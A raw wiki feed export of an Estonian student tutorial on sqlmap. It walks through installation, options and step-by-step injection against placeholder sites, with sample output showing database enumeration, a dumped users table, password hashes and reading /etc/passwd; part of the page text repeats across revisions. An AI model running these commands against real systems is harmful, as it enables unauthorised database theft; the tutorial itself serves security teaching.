python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Süntaks==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Ülevaade SQLmap&#039;i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py [options]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mõned võtmed:&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Sihtmärk&#039;&#039;&#039;, kellega ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-d DIRECT           Otseühendus andmebaasiga&lt;br /&gt;
-u URL, --url=URL   Sihtmärgi URL (näiteks &amp;quot;www.target.com/vuln.php?id=1&amp;quot;)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Päring&#039;&#039;&#039;, kuidas sihtmärgiga ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--data=DATA         Andmestring saadetakse läbi POST&#039;i&lt;br /&gt;
--host=HOST         HTTP Host&#039;i päis&lt;br /&gt;
--proxy=PROXY       Kasutada HTTP proxy&#039;t et ühenduda URL&#039;iga&lt;br /&gt;
--delay=DELAY       Ooteaeg sekundites HTTP päringute vahel&lt;br /&gt;
--force-ssl         Kasuta SSL/HTTPS&#039;i&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. &#039;&#039;&#039;Optimiseerimine&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--threads=THREADS   Samaaegsete HTTP(s) päringute arv (vaikimisi 1)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. &#039;&#039;&#039;Andmebaas&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-a, --all           Tagasta kõik&lt;br /&gt;
--current-user      Tagasta hetkel kasutuses oleva kasutaja&lt;br /&gt;
--users             Loetle kasutajad&lt;br /&gt;
--passwords         Loetle kasutajate parooliräsid&lt;br /&gt;
--privileges        Loetle kasutajate privileegid&lt;br /&gt;
--roles             Loetle kasutajate rollid&lt;br /&gt;
--dbs               Loetle andmebaasid&lt;br /&gt;
--tables            Loetle andmebaasi tabelid&lt;br /&gt;
--columns           Loetle andmebaasi tabeli veerud&lt;br /&gt;
--schema            Loetle andmebaasi skeem&lt;br /&gt;
--dump              Väljasta kogu andmebaasi sisu&lt;br /&gt;
--dump-all          Väljasta kõikide andmebaaside sisu&lt;br /&gt;
--search            Otsi veergu, tabelit ja/või andmebaasi nime&lt;br /&gt;
-D DB               Mis andmebaasist loetleda&lt;br /&gt;
-T TBL              Mis andmebaasi tabelist loetleda&lt;br /&gt;
-C COL              Mis tabeli veerust loetleda&lt;br /&gt;
-U USER             Mis kasutaja kohta loetleda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. &#039;&#039;&#039;Failid&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--file-read=RFILE   Loe fail süsteemist&lt;br /&gt;
--file-write=WFILE  Kirjuta fail süsteemi&lt;br /&gt;
--file-dest=DFILE   Absoluutne failitee kuhu kirjutada&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida nõrka veebilehte. Veebilehega &#039;&#039;&#039;ühendumiseks&#039;&#039;&#039; kasutame võtit &#039;&#039;&#039;-u&#039;&#039;&#039; (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Järgnev käsk tagastab infot &#039;&#039;&#039;kasutajate ja rollide&#039;&#039;&#039; kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Leiame info hetkel kasutusel oleva &#039;&#039;&#039;kasutaja, andmebaasi ja hostinime&#039;&#039;&#039; kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame kasutaja &#039;&#039;&#039;parooliräsi&#039;&#039;&#039;:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[10:59:15] [INFO] the SQL query used returns 1 entries&lt;br /&gt;
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.&lt;br /&gt;
[10:59:18] [INFO] analyzing table dump for possible password hashes&lt;br /&gt;
Database: sqldummywebsite&lt;br /&gt;
Table: user_info&lt;br /&gt;
[1 entry]&lt;br /&gt;
+---------------+&lt;br /&gt;
| user_password |&lt;br /&gt;
+---------------+&lt;br /&gt;
| 24iYBc17xK0e. |&lt;br /&gt;
+---------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Faili lugemine&#039;&#039;&#039; kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutatud kirjandus==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]&lt;br /&gt;
&lt;br /&gt;
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88533</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88533"/>
		<updated>2015-05-14T14:43:52Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Süntaks==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Ülevaade SQLmap&#039;i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py [options]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mõned võtmed:&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Sihtmärk&#039;&#039;&#039;, kellega ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-d DIRECT           Otseühendus andmebaasiga&lt;br /&gt;
-u URL, --url=URL   Sihtmärgi URL (näiteks &amp;quot;www.target.com/vuln.php?id=1&amp;quot;)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Päring&#039;&#039;&#039;, kuidas sihtmärgiga ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--data=DATA         Andmestring saadetakse läbi POST&#039;i&lt;br /&gt;
--host=HOST         HTTP Host&#039;i päis&lt;br /&gt;
--proxy=PROXY       Kasutada HTTP proxy&#039;t et ühenduda URL&#039;iga&lt;br /&gt;
